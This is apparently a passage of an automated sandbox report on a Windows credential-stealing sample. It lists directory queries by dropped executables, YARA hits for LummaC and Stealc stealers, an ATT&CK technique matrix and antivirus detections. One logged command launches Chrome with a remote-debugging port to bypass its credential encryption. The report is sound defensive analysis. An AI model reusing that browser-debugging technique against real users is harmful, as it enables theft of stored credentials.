Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY

Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: number of queries: 1554
Source: C:\Users\user\Desktop\file.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: 00000025.00000003.2758952452.0000000000643000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2741125532.000000000064E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2831341381.0000000000648000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2478367978.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2479725820.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2459632482.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1752693002.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2460257187.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2439738358.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2746572800.0000000001452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2497496677.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2471582287.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2740678466.0000000000644000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2709096105.0000000000647000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2459091019.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2515306932.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1733405478.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1750048641.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1732931707.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2479021002.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2771136281.0000000000644000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2831462062.0000000000650000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2480450705.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2515170491.0000000000E42000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2514780676.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0bdaf26796.exe PID: 736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0bdaf26796.exe PID: 3264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef2e7274a0.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 01b01f6224.exe PID: 7100, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: 60eccf97f7.exe PID: 6304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 60eccf97f7.exe PID: 3852, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0bdaf26796.exe PID: 736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0bdaf26796.exe PID: 3264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef2e7274a0.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 01b01f6224.exe PID: 7100, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 26.0.num.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000003.2658688178.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2458240806.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2547398458.000000000008E000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2547351902.0000000000071000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 96b4cd4489.exe PID: 7520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 96b4cd4489.exe PID: 6196, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	21 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	235 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\50NZQQK98UQJAWNGOUBIYXS.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\CT05WZXFBOD5DYW9HOHXFI0FQUF.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	100%	Joe Sandbox ML
